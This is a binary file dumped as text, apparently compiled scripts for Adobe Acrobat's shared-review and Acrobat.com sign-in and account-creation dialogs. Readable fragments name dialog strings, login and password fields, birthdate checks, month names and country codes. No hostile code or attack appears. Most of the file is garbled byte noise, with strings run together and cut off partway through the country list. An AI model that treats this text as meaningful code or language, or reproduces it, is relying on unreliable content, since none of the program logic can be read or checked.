�V�:WQA55x=y=yc=y^zYA5;!5"6 QA5A55 �#
��A55$�:6 QYTA5;!5%6 QA5A55 �#
��A55&�:6 QA5B6'QA55 WQV�#
��V5(�:WQA55	�=QV�#
��;!5)�:WQV�#
��A55�:WQ#V�#
��=*�:WQA55+PV�#
��;!5,�:WQV�#
��;!5-�:WQFV�#
��;!5.�:WQV�#
�	�=*�:WQA5V6 QA5A550�#
�
�A55&�:6/Q���Ґ�Ӑ�Ґ�Ԑ���ސސސ�֐�ې�ݐ�ې�񐐈
ѐ���ѐ鐈ѐ�ؐ��`����m
��U#m
��U'mʘ�U��֐��P���P�����֐��P����͐�ϐ�ᐐ���L���㐈鐐�
ސ��K���㐈萐���㐈ސ��ϐ��VstoreupdateAddrsdatahasDeadlinedeadparseIntddomdmoyyear	oDeadlineDatesetFullYearsetMonthsetDate	cDeadlineutilprintd	undefineddriversserverURLapp	beginPrivgetInitiatorSourcetestSettingsendPrivcrackURLdistributionMethodUPLOADMANUALEMAILmsgAnnotsString+IDS_SHARED_REVIEW_PREVIEW_INVITE_LINK_EMAILreplacedistributionURL/IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL
cDocumentName
msgChangedcHost!IDS_SHARED_REVIEW_INVITE_DEADLINEreaderEnableIDS_SHARED_REVIEW_INVITE_READERIDS_SHARED_REVIEW_GET_READER"IDS_SHARED_REVIEW_INVITE_NO_READERsubj
cannedSubj%review_url%
%review_name%
%server_name%%deadline_msg%%cDeadline%%deadline_msg%%client_requirement_msg%%get_reader_text%%client_requirement_msg%%get_reader_text%	%docname%�����S�VdescriptionY!
�&
�UY�]�]�]�]Y;5]=]X�]	ZY=
]ZY=];5
]X�]	C]\`Y=];5]=]\`Y=];5];5]\`\]\`\]\]\WQ;�
�:Q9��V�:WQ;�
�:QV���ʘ�U�ʘ�U�ʘ�U�ʘ�U��ϐʐȐ���ʐ���ʐϐȐː���ʐϐϐ���ʐϐ�U؈ѐ�֐�ѐ���
initializeidlecommitagulAnnotsString,IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE_LINKname
align_leftalign_childrenwidthgrouptypestatic_text'IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE	wrap_name	link_textitem_id	ok_cancel"IDS_SHARED_REVIEW_DOC_CENTER_AGREEok_name$IDS_SHARED_REVIEW_DOC_CENTER_DECLINEcancel_nameelementsdescriptionapp	beginPrivANTrustPropagateAllendPriv������dialog�!
�!
�U�������dialog�!
�!
�U����������dialog"
("
�U������J�
	dialogurl@"
;#
�U;5=;5;5WQ;�
�V�C�:Q��␈׈app
viewerTypeReaderAnnotsString=IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_READER>IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AGREEMENT_ACROBAT	launchURL�����Y�:0	H
reviewTypedescription�&
�f
�UYT]�]�]�]�]�]�]�]�]�]	ZY=
];5
];5]=]=]ZY=]=]XP]�I]\`Y=
];5]=]=]ZY=]�]\`Y=
]=]ZY=]�
]\`Y=];5]C] X�]=!]"=#]$\`Y=]�]\`Y=]=%]X�]X�]\`\]&\`Y=]�]\`Y=
]=]ZY=
]ZY=
]=]ZY=]�
]\`Y=];5']C]"=#]$\`Y=(]=];5)]\`\]&\`\]&\`Y=]�]\`Y=
]ZY=
]=]Z	Y=];5*]C]"=#]$\`Y=];5+]\`Y=,]=]X�]\`Y=];5-]\`Y=,]=]X�]C].\`Y=/];50]=]\`Y=(];51]=]\`Y=]X�];52]C] =3]=]\`Y=(];54]=	]\`\]&\`\]&\`\]&\`\]&\`\]&\`\]5\WQ;6�7
�:Q98�8�V�:WQ;6�9
�:QV���Ȑʘ�V9ʘ�VRʘ�Wʘ�Wʘ�W"ʘ�W*ʘ�W4ʘ�W:ʘ�WC��ʐϐϐ��ʐʐ���ʐʐȐ̐��ʐ�ϐʐʐ���ʐ̐��ʐʐ���ʐ̐��ʐϐ�Ȑʐϐ��ʐ̐��ʐʐȐؘ�W}�ʐ̐��ʐʐ���ʐ���ʐʐ���ʐ̐��ʐϐ�ϐ��ʐʐꘀW��ʐ̐��ʐ���ʐʐ���ʐϐ�ϐ��ʐԐ��ʐʐ͐��ʐԐ��ʐʐȐː��ʐϐϐ��ʐϐϐ��ʐȐϐ�ʐϐ��ʐϐ�Ҙ�W�ѐ�֐�ѐ���
reviewType
initializeidlecommitcrIDuserpswdrmbrfrgtresdviewtypeCollabwizardWidthwidthwizardHeightheight
align_leftalign_children
align_fill	alignmentimagebannitem_idwizardMarginWidthmargin_width	align_topgapstatic_textAnnotsString%IDS_ACROBAT_DOT_COM_MARKETING_MESSAGEname	wrap_nametruebolddialogfontprvwelements#IDS_SHARED_REVIEW_DOC_CENTER_SIGNUP	link_text+IDS_SHARED_REVIEW_DOC_CENTER_CREATE_ADOBEID'IDS_SHARED_REVIEW_DOC_CENTER_ALREADY_ID%IDS_SHARED_REVIEW_DOC_CENTER_ADOBE_ID	edit_text%IDS_SHARED_REVIEW_DOC_CENTER_PASSWORDpassword	check_box.IDS_SHARED_REVIEW_DOC_CENTER_CHECK_PASSWORD_ME,IDS_SHARED_REVIEW_DOC_CENTER_FORGOT_PASSWORD3IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIREDstat)IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_RESENDdescriptionapp	beginPrivANTrustPropagateAllendPriv�������(�MdialognexttoEnabletoLoadtoShowshareIdentityEmail
identityEmailL'
s0
�UA5B6QYB]\WQY\WQY\WQVA55=6QA55�=A5C6QA55�=UA55E/QA55	�=EQA55	=
A5=6QA55	�=DQA55	=
�;
�
�:Q;5WQ;5WQ;
�
�:QV;EQV=
A5V6	QGV;EQV=
A5V6	QA5=
6	QA55�=A5=
6QA55�=VA556QVA55	6	QVA556QV;�
�=�:6QV;�
�=�:6QV;56QVB6QT�
�=�:QA55 ;\VA55 6QVC6QA55 ;5!VC6"QVB6"QVB6QVB6"QA55=#VB6QT�$
�=	�:QT�%
�V�:QT�&
�V�:QT�'
�V�:Q��͐��ː��ʐʐ��ڐ������͐�����ш%���ѐ���	����ѐΐΐ�ѐ���	Ԑ���	Ԑ��ѐ������ѐ�����Ԑ��Ԑ�Ԑ��ߐ�ߐ��Ӑ��ʐ����Ր��W���Ԑ�ʐ����ϐ��ϐ����ʐ�ʘ�V.����ʐ���Ր�Ӑ�Ӑ�ӈdatasignupnextprev
reviewTypeDocCenterLoginrememberPassword	undefined
isFirstLaunchuserpswd******app	beginPriv
shareIdentityEmailidentityemailendPrivrmbrbannCollabgetIcon%A_AcrobatcomBrandingBanner_592x73.pngprvw!A_Acrobatcom_SignIn_230x230_N.pngAnnotsString"IDS_SHARED_REVIEW_DOC_CENTER_LOGINhelpsetForeColorRedstat
authStatus3IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIREDresd	ShareFilefocusloadenablevisible������6dialogousernamepasswordtoEnabletoLoad�0
k3
9V
T�
�:WQV5WQV5WQY\WQA55=VB6QV;ECQV=E4QV@E)QV;EQV=EQV@VC6	QVB6	QT�

�V�:QY\WQV;56	QT�
�V�:Q�Ґ̐̐�ʐ����ʐ������ϐ��ʐ��Ӑ�ʐ�Ӑ�ӈstoreuserpswddata
reviewTypeFormDistributionprev	undefinednextenableAnnotsString"IDS_SHARED_REVIEW_DOC_CENTER_LOGINload������D8dialognextoaddStringToPayloadParams
connectCalleddriverswConndescresultacceptResult�3
�P
RVTEQA55C 
�T�
�:WQA5V56QA5V56QA5V56QT�
�YB]\�:QT�	
�=
�:QT�
�Y=]
\�:QT�
�YC]
\�:QT�
�Y;5]
\�:QT�
�YB]\�:QA55=DQA55=Y\WQV=6Q�BWQ9��A55�:WQ9��=A55�:Q@WQ;�
�:QA55�;ZA55EQA55=3;�
�YB] V]!\�:WQCWQV X;�
�YA55]"A55]#A55]$V]!\�:WQ;�%
�:QV�A5V6&Q;�
�:Q;�
�A55'�:";�(
�A55'�:Q;)A556*Q;)V�,
�:6+Q;)C6-Q;�%
�:QT�
�Y=]
\�:QT�
�YC]
\�:QA55=DQA55=JV=/6.Q;�
�:Q;�0
�V�:Q;�%
�:Q91�1�=2�:Q9��=3�:Q�A55=DQA55=JV=46.Q;�
�:Q;�0
�V�:Q;�%
�:Q9��=5�:Q96�6�=7�:QT�
�YC]\�:Q3�vWQA55=DQA55=JV=46.Q;�
�:Q;�0
�V�:Q;�%
�:QT�
�YC]\�:Q98�8�V�:QT�	
�=
�:QV59X�DQV59X�`T�
�Y;5:]
\�:QT�
�YC]
\�:Q96�6�=7�:Q�V59X��9;�;�:WQ;�
�:Q;�<
�V�:WQ;�%
�:QV==
;�
�:Q;�>
�A55�A55�:WQ;�%
�:QV>Z�9��A55�:WQ;�
�:Q;�
�YA55]"A55]#A55]$V]!\�:WQ;�%
�:QVKA5V6&Q;�
�:Q;�
�A55'�:";�(
�A55'�:Q;)A556*Q;)V�,
�:6+Q;)C6-Q;�%
�:QA55=DQA55=JV=/6.Q;�
�:Q;�0
�V�:Q;�%
�:Q91�1�=2�:Q9��=3�:Qn�vW	QT�
�Y;5:]
\�:QT�
�YC]
\�:Q96�6�=7�:Q�[T�
�Y;5:]
\�:QT�
�YC]
\�:Q96�6�=?�:Q[T�
�Y;5:]
\�:QT�
�YC]
\�:Q96�6�=@�:QV59X�|T�
�Y;5A]
\�:QT�
�YC]\�:QT�
�YC]
\�:Q96�6�=B�:Q�V59>DQV59X�`T�
�Y;5C]
\�:QT�
�YC]
\�:Q96�6�=7�:Q96�6�=7�:Q��Ɉ���Ґ�Ԑ�Ԑ�Ԑ��ܐ��Ր��ܐ�合ܐ���ʐ�ΐ����ސ�ᐕ�ѐ�
�������鐈����
���Ԑ�ѐ������ϐ��ѐ����ݐ��֐�ِ�̐�ѐ���ܐ����ΐ��ѐ�Ր�ѐ��Ր�ژ�V�������ΐ�ѐ�Ր�ѐ��Ր�Ր���x��ʐ�����
ΐ�ѐ�
Ր�
ѐ��ܐ��Ӑ�Ր�[���合ܐ�ڐ������Ґ�ѐؐ�ѐ�������ѐ쐈ѐ��U����ސ�
ѐ�Ԑ�
ѐ����ϐ��ѐ����ݐ��֐�ِ�̐�ѐ����ΐ��ѐ�Ր�ѐ��Ր��x���ʐ��
合
ܐ��
Հ{˘�V�	合	ܐ�	ژ�V���合ܐ�ڐ���w�����合ܐ�ܐ�ڐ��[���合ܐ�ڐ����Հ{���datasignupstoreuserpswdrememberPasswordrmbrenablenextsetForeColorRedstatloadvisibleAnnotsString2IDS_SHARED_REVIEW_DOC_CENTER_STATUS_AUTHENTICATINGresd
reviewTypeSharedReviewFormDistributionnameAuthentication_Successful	getDriver
DebugAlertCOMMIT: app	beginPriv
isFirstLaunch	undefined******Collab	swConnectbShowProgressMonitorcDriver	cUsername	cPassword	bSaveCredendPrivswConnWTunsetFirstLaunch
shareIdentityEmailFullNamegetFullName
AuthenticatedvalTrueAVUMAddStringToPayloadWrapperDebugPrintln%Successfully connected to Acrobat.com.IWSharedReviewDocCenterLogin: Login successfulFalse.Login Failed. Please enter correct credentials
DebugThrow!Login was unsuccessful, try again	ANDumpObj	errorCode7IDS_SHARED_REVIEW_DOC_CENTER_STATUS_INVALID_ID_PASSWORD%IWSharedReviewDocCenterServicesDialog
execDialogokswAcceptTOUELogin was successful, but attempt to accept services agreement failed@Login was successful, but user did not accept services agreement3IDS_SHARED_REVIEW_DOC_CENTER_STATUS_REQUEST_EXPIRED6Login was successful, but need to verify email address2IDS_SHARED_REVIEW_DOC_CENTER_STATUS_CANNOT_CONNECT����ee^��������dialog�P
#Q
WA5C6QT�
�:Q��͐�ψdatasignupnext�����'�dialogo>Q
�Q
WT�
�:WQA5V56Q��Ґ�Ԉstoredatauser�����N�dialogo�Q
�R
"WT�
�:WQA5V56Q9��=A55=�:Q��Ґ�Ԑ��2storedatapswdDebugPrintln	password:******�����?�dialogo�R
wS
*WT�
�:WQV5A5C6QA5B6Q�Ґ����Ґ��͈#storermbrdatarememberPassword�����J�
	dialogfrgt_url�S
�T
4W;5=;5;5WQ;�
�V�C�:Q��␈׈app
viewerTypeReaderAnnotsString7IDS_SHARED_REVIEW_DOC_CENTER_FORGOT_PASSWORD_URL_READER8IDS_SHARED_REVIEW_DOC_CENTER_FORGOT_PASSWORD_URL_ACROBAT	launchURL�����h�
dialogverifyResult�T
uU
:W;�
�:Q;�
�A55�A55�:WQ;�
�:Q9��=	V�:Q��ѐ쐈ѐ�و?app	beginPrivCollabswSendVerifyEmaildatauserpswdendPrivDebugPrinltn!Collab.swSendVerifyEmail: result:�����&�Pdescription�f
�k
�WY�]�]�]�]Y=]X�]ZY=]ZY=	];
5]X�]C]
\`Y=];
5]=]\`Y=]\`\]\`\]\]\WQ;�
�:Q9��V�:WQ;�
�:QV���ʘ�W�ʘ�Xʘ�Xʘ�X
�ʐȐ���ʐ���ʐϐȐː���ʐϐϐ���똀X,�ѐ�֐�ѐ���
initializeidlecommitagul
align_leftalign_childrenwidthgrouptypestatic_textAnnotsString-IDS_SHARED_REVIEW_DOC_CENTER_ELIGIBILTY_ERRORname	wrap_name	link_text8IDS_SHARED_REVIEW_DOC_CENTER_ELIGIBILTY_REQUIREMENT_LINKitem_idokelementsdescriptionapp	beginPrivANTrustPropagateAllendPriv������dialog5g
Ig
�W�������dialog_g
�g
�W����������dialog�g
�g
X������J�
	dialogurl�g
�h
X;5=;5;5WQ;�
�V�C�:Q��␈׈app
viewerTypeReaderAnnotsStringJIDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_ELIGIBILTY_REQUIREMENT_READERKIDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_ELIGIBILTY_REQUIREMENT_ACROBAT	launchURL����IWSharedReviewDocCenterCreateID
�
�
Ng�
reviewTypedisableddescresult_dialogvalidateAgeRequirementsvalidateBirthDay
nameFields	countriesmonthsdescription�k
�3X������Q������Q;�
�:Q;�
�:WQ;�
�:QVh9��:WQ;�
�:Q;�
�V�:WQ;�
�:Q9��=�:QVQ9	�	�: �ZY=
];5
]C]=]\`Y=]=]X�]B]\`Y=
];5]C]=]\`Y=]=]X�]B]\`\�ZY=
];5]C]=]\`Y=]=]X�]B]\`Y=
];5
]C]=]\`Y=]=]X�]B]\`\WQY\�����QY\�����QYT]�]�]�]�]�]�]�] �	]!�
]"ZY=#];5$];5%]&='](=)]*ZY=#]=+]*='](;5,]-ZY=#]=)]*ZY=.]?]&\`Y=
];5/]C]=0]�]&\`Y=.]?]&\`\]1\`\]1\`Y=#]=+]*='](;5,]-ZY=#]=)]*Z
Y=
];52]C]=]\`Y=]=3]X�]\`Y=
];54]C]=]\`Y=]=5]X�]C]\`Y=
];56]C]=]\`Y=]=7]X�]C]\`Y=#]=)]*V]1\`Y=
];58]C]=]\`Y=#]=9]*ZY=:]=;]�<]\`Y=]=<]�<]\`Y=]==]�<]\`\]1\`Y=#]=)]*ZY=
];5>]C]=]\`Y=:]=]X�]B]?\`\]1\`	\]1\`Y=.]�]\`Y=#]=)]*ZY=#]=+]*ZY=@]=A]\`Y=#]=)]*ZY=
]X�];5B]C]C\`Y=D];5E]= ]\`Y=D];5F]=!]\`\]1\`\]1\`Y=.]�
]&\`Y=#]=+]*ZY=@]=]\`Y=#]=)]*ZY=
]X�];5G]C]C\`Y=D];5F]="]\`\]1\`\]1\`Y=.]�
]&\`\]1\`\]1\`Y=#]=+]*='](;5,]-ZY=#]=)]*X�]ZY=@];5H]=I]\`\]1\`Y=.]�]\`Y=#]=)]*ZY=
]X�];5J]C]C=K]\`\]1\`\]1\`\]1\`\]L\W	Q;�
�:Q9M�M�V	�:W	Q;�
�:QV	��XNϘ�XhϘ�X4��X:�ѐԐ�ѐ��Ґ�ѐؐ�ѐ�Ր������XN��Xh��X�����ȕ���ʐϐ�ϐ��ʐʐȐː��ʐϐ�ϐ��ʐʐȐј�X���ʐϐ�ϐ��ʐʐȐː��ʐϐ�ϐ��ʐʐȐИ�X�АА���Ȑʘ�Zʘ�Zʘ�Z7ʘ�Ziʘ�Zuʘ�[�ʘ�[�ʘ�[�ʘ�[Ӕ�ʐϐϐ��ʐʐ���ʐʐʐ�ϐ���ʐʐ���ʐː��ʐϐ�ʐ̐��ʐᘀ[��ʐʐʐ�ϐ���ʐʐ����ʐϐ�ϐ��ʐʐ͐��ʐϐ�ϐ��ʐʐȐː��ʐϐ�ϐ��ʐʐȐː��ʐʐ͐��ʐϐ�ϐ��ʐʐ���ʐʐ̐��ʐʐ̐��ʐʐט�\P�ʐʐ����ʐϐ�ϐ��ʐʐȐᘀ\f�ʐ̐��ʐʐ���ʐʐ���ʐϐ��ʐʐ���ʐȐϐː��ʐϐϐ��ʐϐ嘀\��ʐ̐��ʐʐ���ʐϐ��ʐʐ���ʐȐϐː��ʐϐ嘀\��ʐ☀\��ʐʐʐ�ϐ���ʐʐȐ���ʐϐژ�\ϕʐ̐��ʐʐ���ʐȐϐ����\�ѐ�֐�ѐ���app	beginPrivCollabisDocCentreSignupDisabledendPriv-IWSharedReviewDocCenterEligibilityErrorDialog
execDialog
DebugThrowInvalid datahasHankostatic_texttypeAnnotsString'IDS_SHARED_REVIEW_DOC_CENTER_FIRST_NAMEnamebolddialogfont	edit_textfNamitem_idwidthpassword&IDS_SHARED_REVIEW_DOC_CENTER_LAST_NAMElNam
reviewType
initializepolycntyidlegetSelectedItemTextcommitagulagplpoulviewwizardWidthwizardHeightheight
align_fill	alignment
align_leftalign_children	align_topwizardMarginWidthmargin_widthgap+IDS_SHARED_REVIEW_DOC_CENTER_CREATEID_TITLEheadingelements*IDS_SHARED_REVIEW_DOC_CENTER_EMAIL_ADDRESSmail*IDS_SHARED_REVIEW_DOC_CENTER_PASSWORD_HINTpwd1-IDS_SHARED_REVIEW_DOC_CENTER_PASSWORD_CONFIRMpwd2%IDS_SHARED_REVIEW_DOC_CENTER_BIRTHDAY	align_rowpopupbdmtbddybdyr$IDS_SHARED_REVIEW_DOC_CENTER_COUNTRY	PopupEdit	check_boxagre'IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE	wrap_name	link_text,IDS_SHARED_REVIEW_DOC_CENTER_READ_AGREE_LINK0IDS_SHARED_REVIEW_DOC_CENTER_PRIVACY_POLICY_LINK"IDS_SHARED_REVIEW_DOC_CENTER_PROMO.IDS_SHARED_REVIEW_DOC_CENTER_CHECK_PASSWORD_MErmbm*IDS_SHARED_REVIEW_DOC_CENTER_ERROR_GENERICerordescriptionANTrustPropagateAll����validateAgeRequirements��*bMonthbDaybYearcDatecDaycMonthcYear�o
s
NX	;�RWQV�
�:WQV�
�:WQV�
�:WQV9��T�:�
BV9��T�:�
-VTBVTVTBC�ΐҐҐҐ�����������������Xb��DategetDategetMonthgetFullYearparseInt����validateBirthDay\�S
bMonthbDaybYearminYearcurrDatebDayDate�s
�y
hXXlWQ9��T�:D0Q9��T�:DQ9��T�:BTVBT>DQT�BT?DQT�BT�E0QT�D$QT�DQT�DQT�
BT?OT�>EQT�d> DQTX�>T�BT�B9��:WQ;�T�T�T�RWQVVBC�������
����
������
�����
������
��X�
�Έ(�����������X�Ґڐ��
����	�isNaNDate�������[dialogtoEnabletoLoadsel_onemon_onemonentrytoShow�~
��
�X
�����;5>8Q�����;5?8Q�����;5�8Q�����;5�8Q�����;5�8Q�����;5�8Q�����;5�8Q�����;5�8Q�����;5	�8Q�����;5
�	8Q�����;5�
8Q�����;5�8Q�����;5
=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5= 8Q�����;5!="8Q�����;5#=$8Q�����;5%=&8Q�����;5'=(8Q�����;5)=*8Q�����;5+=,8Q�����;5-=.8Q�����;5/=08Q�����;51=28Q�����;53=48Q�����;55=68Q�����;57=88Q�����;59=:8Q�����;5;=<8Q�����;5==>8Q�����;5?=@8Q�����;5A=B8Q�����;5C=D8Q�����;5E=F8Q�����;5G=H8Q�����;5I=J8Q�����;5K=L8Q�����;5M=N8Q�����;5O=P8Q�����;5Q=R8Q�����;5S=T8Q�����;5U=V8Q�����;5W=X8Q�����;5Y=Z8Q�����;5[=\8Q�����;5]=^8Q�����;5_=`8Q�����;5a=b8Q�����;5c=d8Q�����;5e=f8Q�����;5g=h8Q�����;5i=j8Q�����;5k=l8Q�����;5m=n8Q�����;5o=p8Q�����;5q=r8Q�����;5s=t8Q�����;5u=v8Q�����;5w=x8Q�����;5y=z8Q�����;5{=|8Q�����;5}=~8Q�����;5=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5	=
8Q�����;5=8Q�����;5
=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5=8Q�����;5= 8Q�����;5!="8Q�����;5#=$8Q�����;5%=&8Q�����;5'=(8Q�����;5)=*8Q�����;5+=,8Q�����;5-=.8Q�����;5/=08Q�����;51=28Q�����;53=48Q�����;55=68Q�����;57=88Q�����;59=:8Q�����;5;=<8Q�����;5==>8Q�����;5?=@8Q�����;5A=B8Q�����;5C=D8Q�����;5E=F8Q�����;5G=H8Q�����;5I=J8Q�����;5K=L8Q�����;5M=N8Q�����;5O=P8Q�����;5Q=R8Q�����;5S=T8Q�����;5U=V8Q�����;5W=X8Q�����;5Y=Z8Q�����;5[=\8Q�����;5]=^8Q�����;5_=`8Q�����;5a=b8Q�����;5c=d8Q�����;5e=f8Q�����;5g=h8Q�����;5i=j8Q�����;5k=l8Q�����;5m=n8Q�����;5o=p8Q�����;5q=r8Q�����;5s=t8Q�����;5u=v8Q�����;5w=x8Q�����;5y=z8Q�����;5{=|8Q�����;5}=~8Q�����;5=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8Q�����;5�=�8QYB]�\WQYC]�;5�]�;5�]�\WQA5�B6�QT��
�=��:QY\WQV;5�?8QT��
�YV]�\�:QT��
�Y�����]�\�:QT��
�=��:QY\WQV;5��8QT��
�YV]�\�:Q�����K>mMWQY\WQVVV8QT��
�YV]�\�:Q�L����NYB]�B]�A5�5�=�]�\WQT��
�=��:QT��
�V�:QT��
�V�:QT��
�V�:QA��
�T�:Q���֐�֐�א�א�א�א�א�א�א�א�א�א���ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ�ڐ���ː������ϐԐ���͘�Y�Ր��ʐ�А�ސ���䘀Y�Ր��ʐ�ѐ�ސ���0Aːʐ�ː�琐�����ې���Ր�Ӑ�Ӑ�Ӑ�шAnnotsString0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_JAN0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_FEB0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MAR0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_APR0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_MAY0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_JUN0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_JUL0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_AUG0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_SEP0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_OCT0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_NOV0IDS_SHARED_REVIEW_DOC_CENTER_ONLINE_SERVICES_DECIDS_AFAFIDS_ALALIDS_DZDZIDS_ASASIDS_ADADIDS_AOAOIDS_AIAIIDS_AQAQIDS_AGAGIDS_ARARIDS_AMAMIDS_AWAWIDS_AUAUIDS_ATATIDS_AZAZIDS_BSBSIDS_BHBHIDS_BDBDIDS_BBBBIDS_BYBYIDS_BEBEIDS_BZBZIDS_BJBJIDS_BMBMIDS_BTBTIDS_BOBOIDS_BABAIDS_BWBWIDS_BVBVIDS_BRBRIDS_IOIOIDS_VGVGIDS_BNBNIDS_BGBGIDS_BFBFIDS_BIBIIDS_KHKHIDS_CMCMIDS_CACAIDS_CVCVIDS_KYKYIDS_CFCFIDS_TDTDIDS_CLCLIDS_CNCNIDS_CXCXIDS_CCCCIDS_COCOIDS_KMKMIDS_CGCGIDS_CKCKIDS_CRCRIDS_HRHRIDS_CUCUIDS_CYCYIDS_CZCZIDS_CICIIDS_DKDKIDS_DJDJIDS_DMDMIDS_DODOIDS_ECECIDS_EGEGIDS_SVSVIDS_GQGQIDS_ERERIDS_EEEEIDS_ETETIDS_FKFKIDS_FOFOIDS_FJFJIDS_FIFIIDS_FRFRIDS_GFGFIDS_PFPFIDS_TFTFIDS_GAGAIDS_GMGMIDS_GEGEIDS_DEDEIDS_GHGHIDS_GIGIIDS_GRGRIDS_GLGLIDS_GDGDIDS_GPGPIDS_GUGUIDS_GTGTIDS_GNGNIDS_GWGWIDS_GYGYIDS_HTHTIDS_HMHMIDS_HNHNIDS_HKHKIDS_HUHUIDS_ISISIDS_ININIDS_IDIDIDS_IRIRIDS_IQIQIDS_IEIEIDS_ILILIDS_ITITIDS_JMJMIDS_JPJPIDS_JOJOIDS_KZKZIDS_KEKEIDS_KIKIIDS_KWKWIDS_K